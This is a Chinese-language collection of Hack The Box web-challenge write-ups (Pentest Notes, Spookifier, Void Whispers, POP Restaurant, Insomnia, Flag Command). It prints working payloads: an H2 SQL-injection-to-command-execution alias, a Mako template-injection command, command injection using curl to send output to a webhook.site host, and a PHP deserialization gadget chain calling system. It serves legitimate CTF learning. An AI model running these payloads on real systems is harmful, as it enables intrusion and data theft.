---
# System prepended metadata

title: HTB challenge

---

[TOC]
### Pentest Notes
題目 : [Pentest Notes](https://app.hackthebox.com/challenges/Pentest%2520Notes?tab=play_challenge)
解題 :
創一個帳號後登入，這個看起來很可疑，去他的程式碼看看 api/note 怎麼處理資料的
![image](https://hackmd.io/_uploads/rJvDF3om-x.png)
發現 login、register 都有做參數化，就只有 note 直接把 name 帶進去查詢
![image](https://hackmd.io/_uploads/r1pFYhi7-x.png)
證實有 SQLi 問題
![image](https://hackmd.io/_uploads/Bku4Kho7Zg.png)

回去看提供檔案，裡面有給資料庫系統跟資料庫名稱
- 資料庫類型是 h2 ( H2是一個Java編寫的關係型資料庫，它可以被嵌入Java應用程式中使用 )
- DB 名稱是 notedb
```
application.properties

spring.application.name=PentestNotes
spring.datasource.url=jdbc:h2:mem:notedb
spring.datasource.driverClassName=org.h2.Driver
spring.jpa.database-platform=org.hibernate.dialect.H2Dialect
spring.jpa.defer-datasource-initialization=true
spring.http.encoding.charset=UTF-8
spring.mvc.view.charset=UTF-8
```

H2 預設的用戶資料表通常在 PUBLIC schema 下
```
' UNION SELECT 1, TABLE_NAME, TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='PUBLIC' LIMIT 0,1 --
```
limit 0,1 改成 1,1 多了 user， 但是 user 裡面只有預設跟我剛剛創的而已，改 2, 3 都沒有東西了
![image](https://hackmd.io/_uploads/H1uIKToQWe.png)
![image](https://hackmd.io/_uploads/rkHdYpo7Wl.png)
![image](https://hackmd.io/_uploads/HJGzqpjmbe.png)

從資料庫中沒發現其他有趣的東西了
去了解 h2 DB 發現，他允許開發者直接在 SQL 中定義並執行 Java 程式碼，看來可以 RCE
以下是建構的 payload，我從 console 輸入
```
fetch('/api/note', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'name=' + encodeURIComponent("'; CREATE ALIAS cmd AS 'String f(String c) throws Exception { return new java.util.Scanner(Runtime.getRuntime().exec(c).getInputStream()).useDelimiter(\"\\\\A\").next(); }'; --")
})
.then(res => {
    if (res.ok) console.log("ok");
    else console.error("no" + res.status);
})
.catch(err => console.error("錯誤:", err));
```
- CREATE ALIAS ... AS : 自訂一個函數，名稱隨便打
- String f(String c) throws Exception：定義一個接收字串 c 並回傳字串的函數
- Runtime.getRuntime().exec(c) : 主要執行指令的地方
- getInputStream()：接住指令輸出的內容
- Scanner + useDelimiter("\\A")：把所有噴出來的文字（不管是幾行）通通收下來
    :::spoiler
    Scanner 預設的行為是遇到空格、換行就停止讀取，Delimiter 意思是分隔符，這邊用正則表達來讓他把我輸入的一整串字都讀進去
    :::
- .next() : 將讀到的所有內容作為一個字串回傳給 SQL
![image](https://hackmd.io/_uploads/r1w_rCjXZe.png)

後續利用只要叫出剛剛建立的函數名稱就好了
```
fetch('/api/note', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'name=' + encodeURIComponent(`' UNION SELECT 1, cmd('ls'), 1 --`)
})
.then(res => res.json())
.then(data => console.log(">>>", data[0].Name));
```
![image](https://hackmd.io/_uploads/rJjoSAoQZx.png)
![image](https://hackmd.io/_uploads/HkjWI0jmbg.png)

最後 cat flag 檔案就成功了



### Spookifier
題目 : [Spookifier](https://app.hackthebox.com/challenges/Spookifier?tab=play_challenge)
解題 :
連上題目後長這樣，功能是把輸入的字用不同的字形表示出來
![image](https://hackmd.io/_uploads/SkG1n8rfZx.png)
![image](https://hackmd.io/_uploads/HJrX3UBMbe.png)

透過簡單的測試發現他有 XSS 的問題，但是無法進行更一步的有效攻擊
回去看題目附的原始碼

從原始碼可以發現重要的程式有以下兩個 :
```
challenge\application\blueprints\routes.py

from flask import Blueprint, request
from flask_mako import render_template
from application.util import spookify

web = Blueprint('web', __name__)

@web.route('/')
def index():
    text = request.args.get('text')
    if(text):
        converted = spookify(text)
        return render_template('index.html',output=converted)
    
    return render_template('index.html',output='')
```
```
challenge\application\util.py

from mako.template import Template

font1 = {
	'A': '𝕬',
	'B': '𝕭',
	'C': '𝕮',
	'D': '𝕯',
	...
        ...
	' ': ' '
}

font2 = {
	'A': 'ᗩ', 
	'B': 'ᗷ',
	'C': 'ᑢ',
        ...
        ...
	'z': 'Ⱬ',

	' ': ' '
}

font3 = {
	'A': '₳', 
	'B': '฿',
	'C': '₵',
	'D': 'Đ',
	...
} 

font4 = {
	'A': 'A', 
	'B': 'B',
	'C': 'C',
	...
        ...
	',': ',',
	'>': '>',
	'.': '.',
	'?': '?',
	'/': '/'
	' ': ' ',
}

def generate_render(converted_fonts):
	result = '''
		<tr>
			<td>{0}</td>
        </tr>
        
		<tr>
        	<td>{1}</td>
        </tr>
        
		<tr>
        	<td>{2}</td>
        </tr>
        
		<tr>
        	<td>{3}</td>
        </tr>

	'''.format(*converted_fonts)
	
	return Template(result).render()

def change_font(text_list):
	text_list = [*text_list]
	current_font = []
	all_fonts = []
	
	add_font_to_list = lambda text,font_type : (
		[current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear()
		) and None

	add_font_to_list(text_list, 'font1')
	add_font_to_list(text_list, 'font2')
	add_font_to_list(text_list, 'font3')
	add_font_to_list(text_list, 'font4')

	return all_fonts

def spookify(text):
	converted_fonts = change_font(text_list=text)

	return generate_render(converted_fonts=converted_fonts)

```
從第一個程式看到用戶 input 直接送到 spookify() 去變換字形，變完之後直接送到 render_template()，送過去的參數也沒有做處理，從第二個程式中可以看到 Template(result).render()，直接把接到的參數拿去做渲染

所以原本只有發現 XSS 的問題，直接進展到 SSTI
再往回看 template 發現 mako.template 
套用對應 SSTI 語法 payload，就可以拿到 flag
```
${__import__('os').popen('cat /flag.txt').read()}
```

### Flag Command
題目 : [Flag Command](https://app.hackthebox.com/challenges/Flag%2520Command) 
解題 :

題目開啟後長下圖這樣，需要依照提示下指令
![image](https://hackmd.io/_uploads/r1INplq-Je.png)

查看原始碼可以看到以下內容，發現三個可能有幫助的 js 檔案
![image](https://hackmd.io/_uploads/HkqM0eqZkg.png)

從 main.js 中發現可以輸入的 command 有個 secret 的選項，但是沒有出現在這些檔案中
![image](https://hackmd.io/_uploads/Sk2KkbcbJg.png)

查看 burp 的紀錄發現開啟題目的時候有去存取 /api/options，response 中就可以看到秘密指令
:::success
Blip-blop, in a pickle with a hiccup! Shmiggity-shmack
:::
![image](https://hackmd.io/_uploads/rktpx-c-kx.png)

將秘密指令輸入就可以解題了
![image](https://hackmd.io/_uploads/ByjXWW5-1g.png)


### Void Whispers
題目 : [Void Whispers](https://app.hackthebox.com/challenges/Void%2520Whispers) 
解題 :

題目打開長這樣，該題有附程式碼
![image](https://hackmd.io/_uploads/BJDHxzVXkx.png)

先使用他的網頁，他有四個欄位，填完後按 save 就會更新

檢查程式碼，了解他是怎麼更新的，發現檢查 sendMailPath 的地方有 cmdi 漏洞，並且不接受空白鍵
![image](https://hackmd.io/_uploads/Hy0GZGVQke.png)

嘗試利用以下指令，但是網站只會回傳更新成功或是 error，因此需要讓資料被丟出來
```
/usr/sbin/sendmail;ls
```

利用 [webhook](https://webhook.site/#!/view/71f80a44-a675-407d-afc8-5be2bbdb5277/fbf9f548-6970-41b5-b03f-d93ee27f370b/1) 來看丟出來的資料，並透過 ${IFS} 來 bypass 空白鍵，確認可以成功
```
/usr/sbin/sendmail;curl${IFS}https://webhook.site/71f80a44-a675-407d-afc8-5be2bbdb5277${IFS}-d${IFS}$(id)
```
![image](https://hackmd.io/_uploads/BJAsQf4mJx.png)

接著來檢查目錄有沒有我想要的檔案，只發現一個在題目有提供的 php 檔而已，後來陸續找了一些路徑也沒發現我要的 flag 檔，後來題目就壞掉了...

```
/usr/sbin/sendmail;curl${IFS}https://webhook.site/71f80a44-a675-407d-afc8-5be2bbdb5277${IFS}-d${IFS}$(ls)
```
![image](https://hackmd.io/_uploads/SkwrVG47kl.png)


後來仔細想想，突然想到 docker file 好像都會寫 flag 路徑，但是題目壞掉了，下次再試
![image](https://hackmd.io/_uploads/HJ2KrzVmkx.png)

重試之後成功拿到 flag
![image](https://hackmd.io/_uploads/ByTJz8Tmkx.png)
![image](https://hackmd.io/_uploads/rkqlMIpmJg.png)


### POP Restaurant

題目 : [POP Restaurant](https://app.hackthebox.com/challenges/POP%2520Restaurant)

解題 : 該題有附程式碼

打開題目會先看到登入跟註冊，登入後可以看到三張圖片，點擊圖片可以訂購餐點，訂購的餐點會出現在下面 YOUR ORDERS
![image](https://hackmd.io/_uploads/B1MsatTm1x.png)

送出訂單時不是送餐點名稱，而是送一串 base64 encode 後的字串
![image](https://hackmd.io/_uploads/Syan0Fp71x.png)
![image](https://hackmd.io/_uploads/BJZyycTQJe.png)

#### 檢查程式碼

這邊發現比較特別的函式是 unserialize()，出現在 order.php，這個程式將使用者 post 出來的資料透過 base64 decode 再反序列化，把物件的類別存到 foodname
![image](https://hackmd.io/_uploads/SyJfl9pm1e.png)

查看這些餐點的結構
![image](https://hackmd.io/_uploads/Syt645amkl.png)
![image](https://hackmd.io/_uploads/ryW1Bc6mkl.png)
![image](https://hackmd.io/_uploads/BkeEeH9aXkl.png)

嘗試 IceCream，想讓他印出我輸入的口味
第一次嘗試失敗，問 chatgpt 說 flavor 需要是陣列的類型
```
O:8:"IceCream":2:{s:7:"flavors";s:4:"milk";s:7:"topping";N;s:2:"Hi";N}
```
第二次嘗試失敗，問 chatgpt 說我沒觸發到 _invoke()
```
O:8:"IceCream":2:{s:7:"flavors";a:1:{i:0;s:4:"milk";}s:7:"topping";N;}
```

> 後來查 _invoke() 才知道這是 magic method，也發現這題好像是在考 POP chain，要想辦法手動去觸發他們各自的 magic method，並且讓他們串再一起，再透過修改程式中的值，最後產出一個值被修改過的序列化資料，再去執行。
https://vickieli.dev/insecure%20deserialization/pop-chains/

:::info
**magic method**

這個 magic method 會在特定情況下自動被 PHP 引擎調用，而無需手動調用，通常發生在完成某個特定條件時，例如：當對象被創建、訪問或銷毀時


| magic method     |  觸發條件  |
| --------         | --------  |
| __invoke()       | when a script tries to call an object as a function.     |
| __destruct()     | there are no other references to a particular object, or in any order during the shutdown sequence. |
| __get()          | utilized for reading data from inaccessible (protected or private) or non-existing properties |
| __construct()  |  Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used.  |

參考 : https://www.php.net/manual/en/language.oop5.magic.php
:::


知道目標是要把 magic method 串再一起後，我還是不會串，以下是參考大神提供的解法 :
:::success
順序是 Pizza 的 __destruct() -> Spaghetti 的 __get() -> iceCream 的 __invoke() -> ArrayIterator
:::
 
理由是物件結束後成功觸發 __destruct()，__destruct() 內執行 echo $this -> size -> what，what 是不存在的東西，所以又再觸發 __get()，__get() 內執行 sauce()，這個觸發到 __invoke() 並執行迴圈去印 flavor，最後 foreach 的時候就會觸發到 current 來處理迭代array 的元素

補充 : call_user_func 意思大概是使用 callback 函式，然後參數是 value

```
<?php

require_once 'Helpers/ArrayHelpers.php';
require_once 'Models/IceCreamModel.php';
require_once 'Models/PizzaModel.php';
require_once 'Models/SpaghettiModel.php';

$callback = 'system';
$payload = 'your command';
$arrayHelper = new Helpers\ArrayHelpers([$payload]);
$arrayHelper->callback = $callback;

$iceCream = new IceCream();
$iceCream->flavors = $arrayHelper;

$spaghetti = new Spaghetti();
$spaghetti->sauce = $iceCream;

$pizza = new Pizza();
$pizza->size = $spaghetti;

echo base64_encode(serialize($pizza));
```

從上面的程式碼可以看到大神多利用了一個 ArrayHelpers 的檔案，這個 class 繼承自 ArrayIterator，並且複寫了 current 函式 (用於回傳當前元素)。
所以新的 current 函式會將 array 中每個元素作為 callback 的參數執行，因此如果將 callback 更改為 system，就能夠搭配 array 中的元素來執行 linux 指令
![image](https://hackmd.io/_uploads/SJ-jezOVJe.png)

最後因為 response 不會顯示執行的結果，因此把他寫到另外的檔案，再去瀏覽它

:::success
payload = ls / > result.txt
:::
![image](https://hackmd.io/_uploads/rkSdKWONJg.png)
:::success
payload = cat ../../../../pBhfMBQlu9uT_flag.txt > flag.txt
:::
![image](https://hackmd.io/_uploads/rkO_JM_VJe.png)






### Insomnia

題目 : [Insomnia](https://app.hackthebox.com/challenges/Insomnia)
解題 :

從註冊到登入可以觀察到使用者名稱會出現在 welcome back
![image](https://hackmd.io/_uploads/Bk2gx6P4Je.png)
![image](https://hackmd.io/_uploads/HkKflpPNJg.png)


嘗試使用 XSS 語法看能不能成功觸發，結果成功但是 token 還是原本那組
:::success
- <script>alert(window.location.href)</script>
- <script>alert(document.cookie)</script>
:::

![image](https://hackmd.io/_uploads/HJrITCINyg.png)
![image](https://hackmd.io/_uploads/SJ_vaCL4ke.png)
![image](https://hackmd.io/_uploads/HkIppAUVkg.png)

原本以為是 XSS 的洞原本還在查 stored xss 的 RCE，結果在找 source code 的時候才發現 flag 出現的條件，猜測題目不是爆破 jwt 不然就是程式漏洞讓我可以順利產出 administrator 的 JWT
![image](https://hackmd.io/_uploads/HJxLz6DEkg.png)

檢查註冊及登入的程式，確認沒辦法自己創一個 administrator，我也不知道 admin 的密碼，不確定是否需要密碼爆破...
```
<?php

namespace App\Controllers;

use CodeIgniter\Controller;
use CodeIgniter\API\ResponseTrait;
use Firebase\JWT\JWT;
use Firebase\JWT\Key;

class UserController extends Controller
{
    use ResponseTrait;

    public function LoginIndex()
    {
        return View("LoginPage");
    }
    public function login()
    {
        $db = db_connect();
        $json_data = request()->getJSON(true);
        if (!count($json_data) == 2) {
            return $this->respond("Please provide username and password", 404);
        }
        $query = $db->table("users")->getWhere($json_data, 1, 0);
        $result = $query->getRowArray();
        if (!$result) {
            return $this->respond("User not found", 404);
        } else {
            $key = (string) getenv("JWT_SECRET");
            $iat = time();
            $exp = $iat + 36000;
            $headers = [
                "alg" => "HS256",
                "typ" => "JWT",
            ];
            $payload = [
                "iat" => $iat,
                "exp" => $exp,
                "username" => $result["username"],
            ];
            $token = JWT::encode($payload, $key, "HS256");

            $response = [
                "message" => "Login Succesful",
                "token" => $token,
            ];
            return $this->respond($response, 200);
        }
    }

    public function RegisterIndex()
    {
        return View("RegisterPage");
    }
    public function register()
    {
        $db = db_connect();
        $json_data = request()->getJSON(true);
        $username = $json_data["username"] ?? null;
        $password = $json_data["password"] ?? null;

        if (!($username && $password)) {
            return $this->respond("Empty username or password", 404);
        } else {
            // Check if the username already exists
            $existingUser = $db
                ->table("users")
                ->where("username", $username)
                ->get()
                ->getRow();

            if ($existingUser) {
                return $this->respond("Username already exists", 400);
            }

            // Insert the new user if the username is unique
            $db->table("users")->insert([
                "username" => $username,
                "password" => $password,
            ]);

            if ($db->affectedRows() > 0) {
                return $this->respond(
                    "Registration successful for user: " . $username,
                    200
                );
            } else {
                return $this->respond("Registration failed", 404);
            }
        }
    }
}

```

先嘗試 JWT 爆破，把 rockyou 的密碼都爆過了但沒有找到
![image](https://hackmd.io/_uploads/HkCNd0DEkl.png)

查看 writeup，文中表示以下程式邏輯錯誤，所以輸入帳號就過了，但他不是有 !count( json_data ) == 2 嗎怎麼會過，還是因為 count($json_data) == 2 沒括號 ?

```
if (!count($json_data) == 2) {
            return $this->respond("Please provide username and password", 404);
```
![image](https://hackmd.io/_uploads/SyRHKRPE1x.png)
![image](https://hackmd.io/_uploads/HkpUK0P4ye.png)

